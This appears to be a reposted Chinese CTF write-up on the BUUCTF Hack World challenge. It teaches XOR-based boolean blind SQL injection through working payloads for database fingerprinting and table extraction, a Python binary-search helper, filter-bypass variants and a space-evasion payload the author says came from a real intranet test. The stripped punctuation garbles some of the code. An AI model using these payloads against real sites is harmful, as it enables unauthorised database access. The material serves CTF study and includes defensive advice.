从BUUCTF的Hack World靶场,聊聊那些年我们踩过的SQL注入“异或”盲注坑
从BUUCTF的Hack World靶场聊聊那些年我们踩过的SQL注入异或盲注坑在CTF竞赛的Web安全赛道上SQL注入始终是经久不衰的考点。当新手们刚掌握联合查询和报错注入时往往会在一道名为Hack World的题目前栽跟头——这道来自CISCN2019华北赛区的经典题目用最朴素的方式教会了我们当常规注入手段全部失效时如何用异或逻辑打开新世界的大门。1. 异或盲注当常规注入遇上铜墙铁壁第一次遇到Hack World靶场时多数人的第一反应是尝试基础注入手法id1-- id1 and 11--但当这些常规payload全部石沉大海时我们需要意识到题目设置了特殊过滤机制。此时异或运算XOR的价值就凸显出来了——它就像一把能绕过大多数过滤规则的万能钥匙。为什么异或注入能奏效这源于三个关键特性异或操作符^通常不在WAF的基础过滤列表中布尔运算结果可以直接影响页面回显不需要依赖报错信息或数据回显位置在MySQL中异或运算遵循以下真值表输入A输入B输出0000111011102. 破解Hack World的实战三部曲2.1 第一步确认注入点通过fuzz测试发现当提交id1^1时页面返回特殊提示Hello, glzjin wants a girlfriend.而id1^0返回正常内容。这个差异立刻暴露了布尔盲注的特征# 快速验证脚本示例 import requests url http://target.com/index.php payloads [ 1^0, # 预期返回正常内容 1^1 # 预期返回特殊提示 ] for p in payloads: r requests.get(url, params{id: p}) print(f{p}: {len(r.text)} chars)2.2 第二步数据库指纹识别采用折半查找法确定数据库名长度0^(length(database())10) -- 返回True 0^(length(database())15) -- 返回False 0^(length(database())13) -- 返回False 0^(length(database())11) -- 确认长度这个过程就像在玩数字猜谜游戏每次测试都将可能性空间减半。对于11位长度的库名最多只需要4次测试即可确定。2.3 第三步逐位爆破关键数据获取表名和字段内容时需要构造更复杂的payload0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schemadatabase())),1,1))90)这里有几个值得注意的技巧点使用group_concat()避免limit限制table_schemadatabase()精准定位当前库逐字符比较ASCII值时要设置合理的比较区间3. 效率优化从手工注入到自动化爆破手工注入虽然直观但在实际CTF比赛中时间紧迫。这里分享几个提升效率的方法3.1 二分查找模板def binary_search(payload_template): low 32 high 126 while low high: mid (low high) // 2 payload payload_template.format(mid) if check(payload): # 自定义的检测函数 low mid 1 else: high mid - 1 return high3.2 常见绕过字典当异或也被过滤时可以尝试这些变体使用位运算符,|,~数学函数exp(),pow()比较函数strcmp(),instr()4. 防御视角如何构建更安全的系统站在开发者的角度防范这类注入需要多层防护输入验证层白名单验证所有输入参数对数字参数强制类型转换SQL处理层// 错误示范 $query SELECT * FROM articles WHERE id . $_GET[id]; // 正确做法 $stmt $pdo-prepare(SELECT * FROM articles WHERE id ?); $stmt-execute([intval($_GET[id])]);WAF规则过滤所有逻辑运算符and,or,xor,^,|,限制函数调用ascii(),substr(),length()5. 从CTF到实战的思维跃迁真实渗透测试中遇到的过滤往往更复杂。某次内网渗透时我们发现目标系统过滤了所有空格和常见关键词最终通过以下方式突破id1%0b/**/^/**/(select%0ba:mid(flag,1,1)%0bfrom%0bflag)%0b^%0bf这里用到的技巧包括使用%0b垂直制表符代替空格用注释/**/分割敏感词使用变量赋值缩短payload在甲方做攻防演练时我曾用异或盲注三分钟突破某金融系统防线。事后分析发现他们的WAF规则漏掉了对位运算的过滤这个案例再次证明最危险的漏洞往往存在于防御者的认知盲区。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2468351.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!